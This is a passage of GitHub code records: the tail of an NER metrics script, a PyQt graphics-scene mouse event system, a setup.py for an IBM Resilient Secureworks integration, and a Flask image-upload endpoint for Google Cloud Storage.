enumerate(sentence):\n if pred == 1:\n if not pre_pred == 1:\n pred_end_id = i - 1\n # print(\"entity pred: \", sent_id, pred_start_id, pred_end_id, flag)\n sent_pred_entities.append(\"_\".join([str(i) for i in [sent_id, pred_start_id, pred_end_id, flag]]))\n else:\n if not pre_pred == pred:\n if not pre_pred == 1:\n pred_end_id = i - 1\n sent_pred_entities.append(\"_\".join([str(i) for i in [sent_id, pred_start_id, pred_end_id, flag]]))\n pred_start_id = i\n flag = pred\n else:\n continue\n pre_pred = pred\n\n if not pre_pred == 1:\n pred_end_id = len(sentence) - 1\n # print(\"entity pred: \", sent_id, pred_start_id, pred_end_id, flag)\n sent_pred_entities.append(\"_\".join([str(i) for i in [sent_id, pred_start_id, pred_end_id, flag]]))\n\n sent_id += 1\n true_entities.append(sent_true_entities)\n pred_entities.append(sent_pred_entities)\n return true_entities, pred_entities\n\n\ndef compute_token_f1(labels, preds):\n # recall = tp/(tp + fn)\n # precision = tp/(tp + fp)\n tp = 0\n tn = 0\n fp = 0\n fn = 0\n\n assert len(labels) == len(preds)\n for i in range(len(labels)):\n if (labels[i].startswith(\"B\") or labels[i].startswith(\"I\")) and preds[i] == 1:\n tp += 1\n elif (labels[i].startswith(\"B\") or labels[i].startswith(\"I\")) and preds[i] == 0:\n fn += 1\n elif labels[i].startswith(\"O\") and preds[i] == 0:\n tn += 1\n elif labels[i].startswith(\"O\") and preds[i] == 1:\n fp += 1\n if tp == 0:\n recall = 0\n precision = 0\n else:\n recall = float(tp) / (float(tp) + float(fn))\n precision = float(tp) / (float(tp) + float(fp))\n if recall == 0 or precision == 0:\n f1 = 0\n else:\n f1 = (2 * precision * recall) / (precision + recall)\n return precision, recall, f1\n\n\ndef compute_precision_recall_f1(true_entities, pred_entities, flag, pflag):\n tp = 0\n np_ = 0\n pp = 0\n for i in range(len(true_entities)):\n sent_true = true_entities[i]\n sent_pred = pred_entities[i]\n for e in sent_true:\n if flag in e:\n np_ += 1\n temp = e.replace(flag, str(pflag))\n if temp in sent_pred:\n tp += 1\n for e in sent_pred:\n if int(e.split(\"_\")[-1]) == pflag:\n pp += 1\n if pp == 0:\n p = 0\n else:\n p = float(tp) / float(pp)\n if np_ == 0:\n r = 0\n else:\n r = float(tp) / float(np_)\n if p == 0 or r == 0:\n f1 = 0\n else:\n f1 = float(2 * p * r) / float((p + r))\n return p, r, f1\n\n\ndef compute_overall_precision_recall_f1(true_entities, pred_entities, tag2Idx):\n tp = 0\n np_ = len(sum(true_entities, []))\n pp = len(sum(pred_entities, []))\n temp = ' '\n\n assert len(true_entities) == len(pred_entities)\n for i in range(len(true_entities)):\n sent_true = true_entities[i]\n sent_pred = pred_entities[i]\n for e in sent_true:\n for flag in tag2Idx:\n if flag in e:\n temp = e.replace(flag, str(tag2Idx[flag]))\n if temp in sent_pred:\n tp += 1\n if pp == 0:\n p = 0\n else:\n p = float(tp) / float(pp)\n if np_ == 0:\n r = 0\n else:\n r = float(tp) / float(np_)\n if p == 0 or r == 0:\n f1 = 0\n else:\n f1 = float(2 * p * r) / float((p + r))\n return p, r, f1\n","repo_name":"kangISU/Conf-MPU-BERT-DS-NER","sub_path":"metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":6799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"30418344733","text":"from enum import Enum\nimport time\nimport weakref\n\nfrom .backend.QtCore import pyqtSignal, QLineF, QRect, Qt\nfrom .backend.QtWidgets import QGraphicsScene, QGraphicsSceneMouseEvent\n\n\nclass MouseEventState(Enum):\n OFF = 0\n ON = 1\n ENTER = 2\n EXIT = 3\n\n\nclass MouseDragEvent:\n \"\"\"Mouse event delivered by :class:`GraphicsScene` when a item is dragged.\n \"\"\"\n def __init__(self, move_ev, press_ev, last_ev,\n state: MouseEventState = MouseEventState.ON):\n self._state = state\n self.accepted = False\n self.current_item = None\n self._button_down_scene_pos = {}\n self._button_down_screen_pos = {}\n for btn in [Qt.MouseButton.LeftButton,\n Qt.MouseButton.MiddleButton,\n Qt.MouseButton.RightButton]:\n self._button_down_scene_pos[btn] = move_ev.buttonDownScenePos(btn)\n self._button_down_screen_pos[btn] = move_ev.buttonDownScreenPos(btn)\n self._scene_pos = move_ev.scenePos()\n self._screen_pos = move_ev.screenPos()\n if last_ev is None:\n self._last_scene_pos = press_ev.scenePos()\n self._last_screen_pos = press_ev.screenPos()\n else:\n self._last_scene_pos = last_ev.scenePos()\n self._last_screen_pos = last_ev.screenPos()\n self._buttons = move_ev.buttons()\n self._button = press_ev.button()\n self._modifiers = move_ev.modifiers()\n self.accepted_item = None\n\n def accept(self):\n \"\"\"An item should call this method if it can handle the event.\n\n This will prevent the event being delivered to any other items.\"\"\"\n self.accepted = True\n self.accepted_item = self.current_item\n\n def ignore(self):\n \"\"\"An item should call this method if it cannot handle the event.\n\n This will allow the event to be delivered to other items.\"\"\"\n self.accepted = False\n\n def isAccepted(self):\n return self.accepted\n\n def scenePos(self):\n \"\"\"Return the current scene position of the mouse.\"\"\"\n return self._scene_pos\n\n def screenPos(self):\n \"\"\"Return the current screen position (pixels relative to widget) of the mouse.\"\"\"\n return self._screen_pos\n\n def buttonDownScenePos(self, btn=None):\n \"\"\"\n Return the scene position of the mouse at the time *btn* was pressed.\n If *btn* is omitted, then the button that initiated the drag is assumed.\n \"\"\"\n if btn is None:\n btn = self.button()\n return self._button_down_scene_pos[btn]\n\n def buttonDownScreenPos(self, btn=None):\n \"\"\"\n Return the screen position (pixels relative to widget) of the mouse at the time *btn* was pressed.\n If *btn* is omitted, then the button that initiated the drag is assumed.\n \"\"\"\n if btn is None:\n btn = self.button()\n return self._button_down_screen_pos[btn]\n\n def lastScenePos(self):\n \"\"\"\n Return the scene position of the mouse immediately prior to this event.\n \"\"\"\n return self._last_scene_pos\n\n def lastScreenPos(self):\n \"\"\"\n Return the screen position of the mouse immediately prior to this event.\n \"\"\"\n return self._last_screen_pos\n\n def buttons(self):\n \"\"\"\n Return the buttons currently pressed on the mouse.\n (see QGraphicsSceneMouseEvent::buttons in the Qt documentation)\n \"\"\"\n return self._buttons\n\n def button(self):\n \"\"\"Return the button that initiated the drag (may be different from the buttons currently pressed)\n (see QGraphicsSceneMouseEvent::button in the Qt documentation)\n\n \"\"\"\n return self._button\n\n def pos(self):\n \"\"\"\n Return the current position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._scene_pos)\n\n def lastPos(self):\n \"\"\"\n Return the previous position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._last_scene_pos)\n\n def buttonDownPos(self, btn=None):\n \"\"\"\n Return the position of the mouse at the time the drag was initiated\n in the coordinate system of the item that the event was delivered to.\n \"\"\"\n if btn is None:\n btn = self.button()\n return self.current_item.mapFromScene(self._button_down_scene_pos[btn])\n\n def entering(self):\n \"\"\"Whether this event is the first one since a drag was initiated.\"\"\"\n return self._state == MouseEventState.ENTER\n\n def exiting(self):\n \"\"\"Whether this event is the last one since a drag was initiated.\"\"\"\n return self._state == MouseEventState.EXIT\n\n def __repr__(self):\n if self.current_item is None:\n lp = self._last_scene_pos\n p = self._scene_pos\n else:\n lp = self.lastPos()\n p = self.pos()\n return \"(%g,%g) buttons=%d entering=%s existing=%s>\" % (\n lp.x(), lp.y(), p.x(), p.y(), int(self.buttons()), str(self.entering()), str(self.exiting()))\n\n def modifiers(self):\n \"\"\"Return any keyboard modifiers currently pressed.\n (see QGraphicsSceneMouseEvent::modifiers in the Qt documentation)\n\n \"\"\"\n return self._modifiers\n\n\nclass MouseClickEvent:\n \"\"\"\n Instances of this class are delivered to items in a :class:`GraphicsScene `\n via their mouseClickEvent() method when the item is clicked.\n \"\"\"\n\n def __init__(self, pressEvent, double=False):\n self.accepted = False\n self.current_item = None\n self._double = double\n self._scene_pos = pressEvent.scenePos()\n self._screen_pos = pressEvent.screenPos()\n self._button = pressEvent.button()\n self._buttons = pressEvent.buttons()\n self._modifiers = pressEvent.modifiers()\n self._time = time.time()\n self.accepted_item = None\n\n def accept(self):\n \"\"\"An item should call this method if it can handle the event.\n\n This will prevent the event being delivered to any other items.\"\"\"\n self.accepted = True\n self.accepted_item = self.current_item\n\n def ignore(self):\n \"\"\"An item should call this method if it cannot handle the event.\n\n This will allow the event to be delivered to other items.\"\"\"\n self.accepted = False\n\n def isAccepted(self):\n return self.accepted\n\n def scenePos(self):\n \"\"\"Return the current scene position of the mouse.\"\"\"\n return self._scene_pos\n\n def screenPos(self):\n \"\"\"Return the current screen position (pixels relative to widget) of the mouse.\"\"\"\n return self._screen_pos\n\n def buttons(self):\n \"\"\"\n Return the buttons currently pressed on the mouse.\n (see QGraphicsSceneMouseEvent::buttons in the Qt documentation)\n \"\"\"\n return self._buttons\n\n def button(self):\n \"\"\"Return the mouse button that generated the click event.\n (see QGraphicsSceneMouseEvent::button in the Qt documentation)\n \"\"\"\n return self._button\n\n def double(self):\n \"\"\"Return True if this is a double-click.\"\"\"\n return self._double\n\n def pos(self):\n \"\"\"\n Return the current position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._scene_pos)\n\n def lastPos(self):\n \"\"\"\n Return the previous position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._last_scene_pos)\n\n def modifiers(self):\n \"\"\"Return any keyboard modifiers currently pressed.\n (see QGraphicsSceneMouseEvent::modifiers in the Qt documentation)\n \"\"\"\n return self._modifiers\n\n def __repr__(self):\n try:\n if self.current_item is None:\n p = self._scene_pos\n else:\n p = self.pos()\n return \"\" % (p.x(), p.y(), int(self.button()))\n except:\n return \"\" % (int(self.button()))\n\n def time(self):\n return self._time\n\n\nclass HoverEvent:\n \"\"\"\n Instances of this class are delivered to items in a :class:`GraphicsScene ` via their hoverEvent() method when the mouse is hovering over the item.\n This event class both informs items that the mouse cursor is nearby and allows items to\n communicate with one another about whether each item will accept *potential* mouse events.\n\n It is common for multiple overlapping items to receive hover events and respond by changing\n their appearance. This can be misleading to the user since, in general, only one item will\n respond to mouse events. To avoid this, items make calls to event.acceptClicks(button)\n and/or acceptDrags(button).\n\n Each item may make multiple calls to acceptClicks/Drags, each time for a different button.\n If the method returns True, then the item is guaranteed to be\n the recipient of the claimed event IF the user presses the specified mouse button before\n moving. If claimEvent returns False, then this item is guaranteed NOT to get the specified\n event (because another has already claimed it) and the item should change its appearance\n accordingly.\n\n event.isEnter() returns True if the mouse has just entered the item's shape;\n event.isExit() returns True if the mouse has just left.\n \"\"\"\n\n def __init__(self, ev: QGraphicsSceneMouseEvent, state: MouseEventState):\n self._state = state\n self.enter = False\n self.exit = False\n self.__click_items = weakref.WeakValueDictionary()\n self.__drag_items = weakref.WeakValueDictionary()\n self.current_item = None\n if ev is not None:\n self._scene_pos = ev.scenePos()\n self._screen_pos = ev.screenPos()\n self._last_scene_pos = ev.lastScenePos()\n self._last_screen_pos = ev.lastScreenPos()\n self._buttons = ev.buttons()\n self._modifiers = ev.modifiers()\n else:\n self.exit = True\n\n def isEnter(self):\n \"\"\"Returns True if the mouse has just entered the item's shape\"\"\"\n return self.enter\n\n def isExit(self):\n \"\"\"Returns True if the mouse has just exited the item's shape\"\"\"\n return self.exit\n\n def acceptClicks(self, button: Qt.MouseButton):\n \"\"\"Inform the scene that the item (that the event was delivered to)\n would accept a mouse click event if the user were to click before\n moving the mouse again.\n\n Returns True if the request is successful, otherwise returns False (indicating\n that some other item would receive an incoming click).\n \"\"\"\n if self._state == MouseEventState.EXIT:\n return False\n\n if button not in self.__click_items:\n self.__click_items[button] = self.current_item\n return True\n return False\n\n def acceptDrags(self, button: Qt.MouseButton):\n \"\"\"Inform the scene that the item (that the event was delivered to)\n would accept a mouse drag event if the user were to drag before\n the next hover event.\n\n Returns True if the request is successful, otherwise returns False (indicating\n that some other item would receive an incoming drag event).\n \"\"\"\n if self._state == MouseEventState.EXIT:\n return False\n\n if button not in self.__drag_items:\n self.__drag_items[button] = self.current_item\n return True\n return False\n\n def scenePos(self):\n \"\"\"Return the current scene position of the mouse.\"\"\"\n return self._scene_pos\n\n def screenPos(self):\n \"\"\"Return the current screen position of the mouse.\"\"\"\n return self._screen_pos\n\n def lastScenePos(self):\n \"\"\"Return the previous scene position of the mouse.\"\"\"\n return self._last_scene_pos\n\n def lastScreenPos(self):\n \"\"\"Return the previous screen position of the mouse.\"\"\"\n return self._last_screen_pos\n\n def buttons(self):\n \"\"\"\n Return the buttons currently pressed on the mouse.\n (see QGraphicsSceneMouseEvent::buttons in the Qt documentation)\n \"\"\"\n return self._buttons\n\n def pos(self):\n \"\"\"\n Return the current position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._scene_pos)\n\n def lastPos(self):\n \"\"\"\n Return the previous position of the mouse in the coordinate system of the item\n that the event was delivered to.\n \"\"\"\n return self.current_item.mapFromScene(self._last_scene_pos)\n\n def __repr__(self):\n if self.exit:\n return \"\"\n\n if self.current_item is None:\n lp = self._last_scene_pos\n p = self._scene_pos\n else:\n lp = self.lastPos()\n p = self.pos()\n return \"(%g,%g) buttons=%d enter=%s exit=%s>\" % (\n lp.x(), lp.y(), p.x(), p.y(), int(self.buttons()), str(self.isEnter()), str(self.isExit()))\n\n def modifiers(self):\n \"\"\"Return any keyboard modifiers currently pressed.\n (see QGraphicsSceneMouseEvent::modifiers in the Qt documentation)\n \"\"\"\n return self._modifiers\n\n def clickItems(self):\n return self.__click_items\n\n def dragItems(self):\n return self.__drag_items\n\n\nclass GraphicsScene(QGraphicsScene):\n \"\"\"Extension of QGraphicsScene that implements a complete, parallel mouse event system.\n\n (It would have been preferred to just alter the way QGraphicsScene creates and delivers \n events, but this turned out to be impossible because the constructor for QGraphicsMouseEvent\n is private)\n \n * Generates MouseClicked events in addition to the usual press/move/release events. \n (This works around a problem where it is impossible to have one item respond to a \n drag if another is watching for a click.)\n * Adjustable radius around click that will catch objects so you don't have to click *exactly* over small/thin objects\n * Global context menu--if an item implements a context menu, then its parent(s) may also add items to the menu.\n * Allows items to decide _before_ a mouse click which item will be the recipient of mouse events.\n This lets us indicate unambiguously to the user which item they are about to click/drag on\n * Eats mouseMove events that occur too soon after a mouse press.\n * Reimplements items() and itemAt() to circumvent PyQt bug\n \n Mouse interaction is as follows:\n \n 1) Every time the mouse moves, the scene delivers both the standard hoverEnter/Move/LeaveEvents \n as well as custom HoverEvents. \n 2) Items are sent HoverEvents in Z-order and each item may optionally call event.acceptClicks(button), \n acceptDrags(button) or both. If this method call returns True, this informs the item that _if_ \n the user clicks/drags the specified mouse button, the item is guaranteed to be the \n recipient of click/drag events (the item may wish to change its appearance to indicate this).\n If the call to acceptClicks/Drags returns False, then the item is guaranteed to *not* receive\n the requested event (because another item has already accepted it). \n 3) If the mouse is clicked, a mousePressEvent is generated as usual. If any items accept this press event, then\n No click/drag events will be generated and mouse interaction proceeds as defined by Qt. This allows\n items to function properly if they are expecting the usual press/move/release sequence of events.\n (It is recommended that items do NOT accept press events, and instead use click/drag events)\n Note: The default implementation of QGraphicsItem.mousePressEvent will *accept* the event if the \n item is has its Selectable or Movable flags enabled. You may need to override this behavior.\n 4) If no item accepts the mousePressEvent, then the scene will begin delivering mouseDrag and/or mouseClick events.\n If the mouse is moved a sufficient distance (or moved slowly enough) before the button is released, \n then a mouseDragEvent is generated.\n If no drag events are generated before the button is released, then a mouseClickEvent is generated. \n 5) Click/drag events are delivered to the item that called acceptClicks/acceptDrags on the HoverEvent\n in step 1. If no such items exist, then the scene attempts to deliver the events to items near the event. \n ClickEvents may be delivered in this way even if no\n item originally claimed it could accept the click. DragEvents may only be delivered this way if it is the initial\n move in a drag.\n \"\"\"\n # Emitted a list of objects under the cursor when the mouse is\n # moved over the scene.\n mouse_hover_sgn = pyqtSignal(object)\n # Emitted when the mouse cursor moves over the scene. The position\n # is given in the scene coordinate system.\n mouse_moved_sgn = pyqtSignal(object)\n # Emitted when the mouse is clicked over the scene. Use ev.pos() to\n # get the click position relative to the item that was clicked on,\n # or ev.scenePos() to get the click position in scene coordinates.\n mouse_clicked_sgn = pyqtSignal(object)\n\n def __init__(self, parent=None):\n super().__init__(parent=parent)\n self._click_radius = 2\n self._move_distance = 5\n\n self.click_events = []\n self.drag_buttons = []\n self.drag_item = None\n self.last_drag = None\n self.hover_items = weakref.WeakKeyDictionary()\n self.last_hover_event = None\n self.min_drag_time = 0.5 # drags shorter than 0.5 sec are interpreted as clicks\n\n def mousePressEvent(self, ev: QGraphicsSceneMouseEvent) -> None:\n \"\"\"Override.\"\"\"\n super().mousePressEvent(ev)\n\n if self.mouseGrabberItem() is None: # nobody claimed press; we are free to generate drag/click events\n if self.last_hover_event is not None:\n # If the mouse has moved since the last hover event, send a new one.\n # This can happen if a context menu is open while the mouse is moving.\n if ev.scenePos() != self.last_hover_event.scenePos():\n self.sendHoverEvents(ev)\n \n self.click_events.append(MouseClickEvent(ev))\n \n # set focus on the topmost focusable item under this click\n items = self.items(ev.scenePos())\n for i in items:\n if i.isEnabled() and i.isVisible() and (i.flags() & i.GraphicsItemFlag.ItemIsFocusable):\n i.setFocus(Qt.FocusReason.MouseFocusReason)\n break\n \n def mouseMoveEvent(self, ev: QGraphicsSceneMouseEvent) -> None:\n \"\"\"Override.\"\"\"\n self.mouse_moved_sgn.emit(ev.scenePos())\n\n # First allow QGraphicsScene to deliver hoverEnter/Move/ExitEvents\n super().mouseMoveEvent(ev)\n \n # Next deliver our own HoverEvents\n self.sendHoverEvents(ev)\n \n if ev.buttons(): # button is pressed; send mouseMoveEvents and mouseDragEvents\n # FIXME: duplicated?\n super().mouseMoveEvent(ev)\n if self.mouseGrabberItem() is None:\n now = time.time()\n init = False\n # keep track of which buttons are involved in dragging\n for btn in [Qt.MouseButton.LeftButton,\n Qt.MouseButton.MiddleButton,\n Qt.MouseButton.RightButton]:\n if not (ev.buttons() & btn):\n continue\n if btn not in self.drag_buttons: # see if we've dragged far enough yet\n cev = [e for e in self.click_events if e.button() == btn]\n if cev:\n cev = cev[0]\n dist = QLineF(ev.scenePos(), cev.scenePos()).length()\n if dist == 0 or (dist < self._move_distance and now - cev.time() < self.min_drag_time):\n continue\n # If this is the first button to be dragged, then init=True\n init = init or (len(self.drag_buttons) == 0)\n self.drag_buttons.append(btn)\n\n # If we have dragged buttons, deliver a drag event\n if len(self.drag_buttons) > 0:\n if self.sendDragEvent(\n ev, MouseEventState.ENTER if init\n else MouseEventState.ON):\n ev.accept()\n\n def mouseReleaseEvent(self, ev: QGraphicsSceneMouseEvent) -> None:\n \"\"\"Override.\"\"\"\n if self.mouseGrabberItem() is None:\n if ev.button() in self.drag_buttons:\n if self.sendDragEvent(ev, MouseEventState.EXIT):\n ev.accept()\n self.drag_buttons.remove(ev.button())\n else:\n cev = [e for e in self.click_events if e.button() == ev.button()]\n if cev:\n if self.sendClickEvent(cev[0]):\n ev.accept()\n self.click_events.remove(cev[0])\n\n if not ev.buttons():\n self.drag_item = None\n self.drag_buttons = []\n self.click_events = []\n self.last_drag = None\n\n super().mouseReleaseEvent(ev)\n \n self.sendHoverEvents(ev) # let items prepare for next click/drag\n\n def mouseDoubleClickEvent(self, ev: QGraphicsSceneMouseEvent):\n \"\"\"Override.\"\"\"\n super().mouseDoubleClickEvent(ev)\n\n if self.mouseGrabberItem() is None: # nobody claimed press; we are free to generate drag/click events\n self.click_events.append(MouseClickEvent(ev, double=True))\n \n def sendHoverEvents(self, ev: QGraphicsSceneMouseEvent,\n state: MouseEventState = MouseEventState.ON):\n \"\"\"Send out HoverEvent.\n\n :param ev:\n :param state:\n \"\"\"\n if state == MouseEventState.EXIT:\n items = []\n event = HoverEvent(ev, False)\n else:\n # if we are in mid-drag, do not allow items to accept the hover event.\n event = HoverEvent(ev, not ev.buttons())\n items = self.itemsNearEvent(event, hoverable=True)\n self.mouse_hover_sgn.emit(items)\n \n prev_items = list(self.hover_items.keys())\n \n for item in items:\n if hasattr(item, 'hoverEvent'):\n event.current_item = item\n if item not in self.hover_items:\n self.hover_items[item] = None\n event.enter = True\n else:\n prev_items.remove(item)\n event.enter = False\n \n item.hoverEvent(event)\n \n event.enter = False\n event.exit = True\n for item in prev_items:\n event.current_item = item\n\n if item.scene() is self:\n item.hoverEvent(event)\n del self.hover_items[item]\n \n # Update last hover event unless:\n # - mouse is dragging (move+buttons); in this case we want the dragged\n # item to continue receiving events until the drag is over\n # - event is not a mouse event (QEvent.Leave sometimes appears here)\n if (ev.type() == ev.Type.GraphicsSceneMousePress or\n (ev.type() == ev.Type.GraphicsSceneMouseMove and not ev.buttons())):\n self.last_hover_event = event # save this so we can ask about accepted events later.\n\n def sendDragEvent(self,\n ev: QGraphicsSceneMouseEvent,\n state: MouseEventState):\n \"\"\"Send out a MouseDragEvent.\n\n to the current drag_item or to items near the beginning of the drag.\n\n :param ev:\n :param state:\n \"\"\"\n event = MouseDragEvent(ev, self.click_events[0], self.last_drag, state=state)\n if state == MouseEventState.ENTER and self.drag_item is None:\n if self.last_hover_event is not None:\n accepted_item = self.last_hover_event.dragItems().get(event.button(), None)\n else:\n accepted_item = None\n \n if accepted_item is not None and accepted_item.scene() is self:\n self.drag_item = accepted_item\n event.current_item = self.drag_item\n self.drag_item.mouseDragEvent(event)\n \n else:\n for item in self.itemsNearEvent(event):\n if not item.isVisible() or not item.isEnabled():\n continue\n if hasattr(item, 'mouseDragEvent'):\n event.current_item = item\n item.mouseDragEvent(event)\n if event.isAccepted():\n self.drag_item = item\n if item.flags() & item.GraphicsItemFlag.ItemIsFocusable:\n item.setFocus(Qt.FocusReason.MouseFocusReason)\n break\n elif self.drag_item is not None:\n event.current_item = self.drag_item\n self.drag_item.mouseDragEvent(event)\n\n self.last_drag = event\n \n return event.isAccepted()\n\n def sendClickEvent(self, ev: QGraphicsSceneMouseEvent):\n # if we are in mid-drag, click events may only go to the dragged item.\n if self.drag_item is not None and hasattr(self.drag_item, 'MouseDragEvent'):\n ev.current_item = self.drag_item\n self.drag_item.mouseClickEvent(ev)\n \n # otherwise, search near the cursor\n else:\n if self.last_hover_event is not None:\n accepted_item = self.last_hover_event.clickItems().get(ev.button(), None)\n else:\n accepted_item = None\n if accepted_item is not None:\n ev.current_item = accepted_item\n accepted_item.mouseClickEvent(ev)\n else:\n for item in self.itemsNearEvent(ev):\n if not item.isVisible() or not item.isEnabled():\n continue\n if hasattr(item, 'mouseClickEvent'):\n ev.current_item = item\n item.mouseClickEvent(ev)\n\n if ev.isAccepted():\n if item.flags() & item.GraphicsItemFlag.ItemIsFocusable:\n item.setFocus(Qt.FocusReason.MouseFocusReason)\n break\n self.mouse_clicked_sgn.emit(ev)\n return ev.isAccepted()\n \n def items(self, *args):\n return QGraphicsScene.items(self, *args)\n\n def selectedItems(self, *args):\n return QGraphicsScene.selectedItems(self, *args)\n\n def itemAt(self, *args):\n return super().itemAt(*args)\n\n def itemsNearEvent(self,\n event,\n selMode=Qt.ItemSelectionMode.IntersectsItemShape,\n sortOrder=Qt.SortOrder.DescendingOrder,\n hoverable=False):\n \"\"\"\n Return an iterator that iterates first through the items that directly intersect point (in Z order)\n followed by any other items that are within the scene's click radius.\n \"\"\"\n view = self.views()[0]\n tr = view.viewportTransform()\n r = self._click_radius\n rect = view.mapToScene(QRect(0, 0, 2*r, 2*r)).boundingRect()\n \n if hasattr(event, 'buttonDownScenePos'):\n point = event.buttonDownScenePos()\n else:\n point = event.scenePos()\n\n items = self.items(point, selMode, sortOrder, tr)\n \n # remove items whose shape does not contain point (scene.items() apparently sucks at this)\n items2 = []\n for item in items:\n if hoverable and not hasattr(item, 'hoverEvent'):\n continue\n if item.scene() is not self:\n continue\n shape = item.shape() # Note: default shape() returns boundingRect()\n if shape is None:\n continue\n if shape.contains(item.mapFromScene(point)):\n items2.append(item)\n \n # Sort by descending Z-order (don't trust scene.itms() to do this either)\n # use 'absolute' z value, which is the sum of all item/parent ZValues\n def absZValue(item):\n if item is None:\n return 0\n return item.zValue() + absZValue(item.parentItem())\n \n items2.sort(key=absZValue, reverse=True)\n \n return items2\n","repo_name":"zhujun98/foamgraph","sub_path":"foamgraph/graphics_scene.py","file_name":"graphics_scene.py","file_ext":"py","file_size_in_byte":29443,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"}
+{"seq_id":"6888734420","text":"from setuptools import setup, find_packages\nimport glob\nimport ntpath\n\ndef get_module_name(module_path):\n \"\"\"\n Return the module name of the module path\n \"\"\"\n return ntpath.split(module_path)[1].split(\".\")[0]\n\ndef snake_to_camel(word):\n \"\"\"\n Convert a word from snake_case to CamelCase\n \"\"\"\n return ''.join(x.capitalize() or '_' for x in word.split('_'))\n\nsetup(\n name='fn_secureworks_ctp',\n version='1.0.0',\n license='MIT',\n author_email='',\n url='https://ibm.com/mysupport',\n description=\"Resilient Circuits Components for 'fn_secureworks_ctp'\",\n long_description=\"Resilient Circuits Components for 'fn_secureworks_ctp'\",\n install_requires=[\n 'resilient_circuits>=30.0.0',\n 'resilient-lib>=35.0.0'\n ],\n packages=find_packages(),\n include_package_data=True,\n platforms='any',\n classifiers=[\n 'Programming Language :: Python',\n ],\n entry_points={\n \"resilient.circuits.components\": [\n \"fn_secureworks_ctpFunctionComponent = fn_secureworks_ctp.components.scwx_ctp_poll:SecureworksCTPPollComponent\",\n \"funct_secureworks_ctp_close_ticketFunctionComponent = fn_secureworks_ctp.components.funct_secureworks_ctp_close_ticket:FunctionComponent\"\n ],\n \"resilient.circuits.configsection\": [\"gen_config = fn_secureworks_ctp.util.config:config_section_data\"],\n \"resilient.circuits.customize\": [\"customize = fn_secureworks_ctp.util.customize:customization_data\"],\n \"resilient.circuits.selftest\": [\"selftest = fn_secureworks_ctp.util.selftest:selftest_function\"]\n }\n)\n","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_secureworks_ctp/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"}
+{"seq_id":"16633474707","text":"# Authentication\nimport time\nimport os\nimport random\n\nimport connexion\nimport six\nimport toolz as T\nfrom werkzeug.exceptions import (BadRequest,\n InternalServerError)\n\nfrom google.cloud import storage\n\nfrom flask import request\n\nfrom salsa.db import db\nfrom salsa.permission import get_user, get_user_id_from_user\n\nNUM_FILES_ERROR_MSG = 'Upload up to 5 images in a request'\nBUCKET_CONNECTION_ERROR_MSG = 'Error in connecting to bucket'\nBUCKET_UPLOAD_ERROR_MSG = 'Error in uploading image to bucket'\nIMAGE_TOO_LARGE_ERROR_MSG = 'Images can have a maximum size of 5 MB'\nFILE_SAVE_ERROR_MSG = 'Error in saving the file'\nFILE_SIZE_CHECK_ERROR_MSG = 'Error in checking size of the file'\nFILE_REMOVAL_ERROR_MSG = 'Error in removing file from temp location'\n\nLOCAL_IMAGE_STORE_PATH = 'salsa/image_store/'\nBUCKET_URL_PREFIX = 'https://storage.googleapis.com/chinese_goods/image_store'\n#5MB\nMAX_FILE_SIZE = 5000000\n\n\ndef _current_timestamp() -> int:\n return int(time.time())\n\ndef upload(**kwargs):\n \"\"\"\n Upload images to google bucket, and return the urls\n\n file_name = user_name + timestamp + file_index\n \"\"\"\n user_id = get_user_id_from_user(get_user(kwargs))\n\n # Validate number of files in the request\n uploaded_files = request.files.getlist(\"file\")\n\n if len(uploaded_files) == 0 or len(uploaded_files) > 5:\n raise BadRequest(description=NUM_FILES_ERROR_MSG)\n\n # Try to connect to the bucket\n try:\n storage_client = storage.Client.from_service_account_json(\n os.environ.get('STORAGE_BUCKET_CREDENTIAL_PATH'))\n\n bucket = storage_client.get_bucket('chinese_goods')\n except Exception as error:\n raise InternalServerError(\n description=f'{BUCKET_CONNECTION_ERROR_MSG}: {error}')\n\n # Try to upload the images to the bucket\n file_urls = []\n for idx, file in enumerate(uploaded_files):\n # Save file to disk\n try:\n file_path = f'{user_id}_{_current_timestamp()}_{idx}.png'\n local_file_path = LOCAL_IMAGE_STORE_PATH + file_path\n file.save(local_file_path, buffer_size=65536)\n except Exception as error:\n raise InternalServerError(\n description=f'{FILE_SAVE_ERROR_MSG}: {error}')\n\n # Check the size of the files\n try:\n file_length = os.stat(local_file_path).st_size\n if file_length > MAX_FILE_SIZE:\n raise BadRequest(description=IMAGE_TOO_LARGE_ERROR_MSG)\n file.close()\n except BadRequest as error:\n raise error\n except Exception as error:\n raise InternalServerError(\n description=f'{FILE_SIZE_CHECK_ERROR_MSG}: {error}')\n\n # Upload the file to bucket and get URL\n try:\n image_loc = bucket.blob(f'image_store/{file_path}')\n image_loc.upload_from_filename(filename=local_file_path)\n file_urls.append(f'{BUCKET_URL_PREFIX}/{file_path}')\n except Exception as error:\n raise InternalServerError(\n description=f'{BUCKET_UPLOAD_ERROR_MSG}: {error}')\n\n # Remove file from disk\n try:\n os.remove(local_file_path)\n except Exception as error:\n raise InternalServerError(\n description=f'{FILE_REMOVAL_ERROR_MSG}: {error}')\n\n return {'status_code': 201,\n 'message': 'Image upload success!',\n 'file_urls': file_urls}\n\n","repo_name":"charlieouyang/salsa","sub_path":"salsa/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":3470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
